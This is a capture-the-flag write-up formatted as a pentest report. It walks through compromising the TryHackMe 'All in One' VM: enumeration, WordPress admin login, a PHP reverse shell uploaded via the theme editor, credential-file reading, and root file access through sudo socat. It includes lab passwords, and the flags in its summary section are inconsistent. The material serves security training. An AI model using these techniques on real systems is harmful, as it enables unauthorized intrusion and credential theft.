Penetration Testing Report

TryHackMe - All in One

Prepared by

Ambar Roy

Freelance Beginner Pentester

Contact: ambarroy11@gmail.com

Report date: October 21, 2025

Engagement Type: CTF / Practice Lab
Platform: TryHackMe
Objective: Identify vulnerabilities, exploit the machine, and capture flags.

Contents

Executive Summary

This penetration testing exercise focused on the TryHackMe machine *All in One*. Through careful enumeration and exploitation, full system compromise was achieved — obtaining both user and root flags. The attack leveraged weak web security (Vigenère cipher leakage), exposed WordPress credentials, and insecure sudo privileges.

Outcome:

- Gained initial access via WordPress admin credentials.
- Achieved reverse shell using a PHP payload.
- Escalated privileges to root through unrestricted `socat`.
- Captured both `user.txt` and `root.txt`.

Severity: Critical — Full system compromise.

1 Scope and Rules of Engagement

Scope

- Target: All in One VM (TryHackMe)
- Target IP: `10.201.63.160`
- Objective: Obtain user and root flags; document all findings and remediation suggestions.

Rules of Engagement

- Testing limited to the assigned TryHackMe VM only.
- No DoS or destructive actions.
- All results are derived from authorized testing.

2 Methodology

The following phases were followed:

1. Reconnaissance and host discovery
2. Enumeration of open services
3. Exploitation of vulnerable web components
4. Privilege escalation
5. Documentation of results

Tools Used

- `nmap`, `gobuster`, `wpscan`
- `hydra`, `ssh`
- `netcat`, `socat`
- `linpeas.sh`, `find`, `base64`

3 Findings

Finding #1 — FTP Anonymous Access

Risk: Medium
Affected Asset: `10.201.63.160:21`

Details:

```
nmap -A 10.201.63.160

21/tcp open  ftp vsftpd 3.0.5
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
```

Impact: Potential information leakage or unauthorized uploads if write access were available.

Remediation: Disable anonymous login in vsftpd configuration.

Finding #2 — Web Directory Enumeration

Risk: Medium
Affected Asset: `http://10.201.63.160/`

Details:

```
gobuster dir -u 10.201.63.160 \
  -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 100
```

Results:

```
/wordpress            (Status: 301)
/hackathons           (Status: 200)
```

Viewing page source of '/hackathons' revealed a Vigenère cipher text: `Dvc W@iyur@123` Seed: `KeepGoing`

After decoding: `Try H@ckme@123`

This string was used as a credential clue.

Finding #3 — WordPress Admin Access

Risk: High
Affected Asset: `http://10.201.63.160/wordpress/`

Details:

```
wpscan --url 10.201.63.160/wordpress -e u
```

Result identified user: `elyana`

Combined with discovered password `H@ckme@123`, successful login was achieved at the WordPress admin panel.

Impact: Full administrative control of the WordPress site.

Remediation:

- Enforce stronger passwords.
- Hide user enumeration endpoints.

- Update WordPress (version 5.5.1 is outdated).

Finding #4 — Remote Code Execution via Theme Editor

Risk: Critical
Affected Asset: WordPress admin interface.

Details: In Appearance → Theme Editor, uploaded `php-reverse-shell.php` (Pentest Monkey). Started a listener:

```
nc -lvnp 4444
```

After visiting the shell URL, a reverse shell was obtained as web user.

Impact: Remote command execution on the server.

Remediation:

- Disable file editing in wp-config.php ('define('DISALLOW$_FILE_EDIT', true);').
- Restrict admin privileges.

4 Exploitation

4.1 Initial Access

Gained access to WordPress admin with:

```
Username: elyana
Password: H@ckme@123
```

Reverse shell established via uploaded PHP payload.

4.2 Post-Exploitation

Discovered hint suggesting Elyana's password was stored locally:

```
find / -user elyana 2>/dev/null
cat /etc/mysql/conf.d/private.txt
```

Output:

```
user: elyana
password: E@syR18ght
```

SSH access gained:

```
ssh elyana@10.201.63.160
```

User flag (Base64 decoded):

```
THM{49jg666alb5e76shrusn49jg666alb5e76shrusn}
```

5 Privilege Escalation

Enumeration

```
sudo -l
```

Result:

```
User elyana may run the following commands on ip-10-201-63-160:
(ALL) NOPASSWD: /usr/bin/socat
```

Exploit

Used socat to read root flag:

```
sudo socat -u /root/root.txt ./mini.txt
cat mini.txt
```

Root flag (Base64 decoded):

`THM{uem2wigbuem2wigb68sn2j1ospi868sn2j1ospi8}`

Result: Full root access achieved.

6 Summary of Findings

- Anonymous FTP access (**Medium**)
- Exposed directories and cipher leak (**Medium**)
- Weak WordPress password reused (**High**)
- Arbitrary code execution via Theme Editor (**Critical**)
- Unrestricted `socat` sudo privilege (**Critical**)

User Flag: THM49jg666alb5e76shrusn49jg666alb5e76shrusn **Root Flag:** THMuem2wigbuem2wigb68sn2j1os

7 Recommendations

- Disable anonymous FTP login.
- Sanitize sensitive web content and hidden text.
- Enforce unique, strong passwords for WordPress users.
- Restrict WordPress admin file editing.
- Remove unsafe sudo entries (`/usr/bin/socat`).
- Patch and update WordPress and all plugins regularly.

Appendices

Appendix A: Key Commands

```
nmap -A 10.201.63.160
gobuster dir -u 10.201.63.160 -w /usr/share/dirbuster/wordlists/
   directory-list-2.3-medium.txt
wpscan --url 10.201.63.160/wordpress -e u
nc -lvnp 4444
ssh elyana@10.201.63.160
sudo socat -u /root/root.txt ./mini.txt
```

Appendix B: Notes

- Cipher on /hackathon decoded using Vigenère (key: KeepGoing).
- All encoded flags were base64.
- Machine fully compromised.

Contact and Notes

Prepared by: Ambar Roy
Contact: ambarroy11@gmail.com

This report is for training and educational purposes only (TryHackMe lab).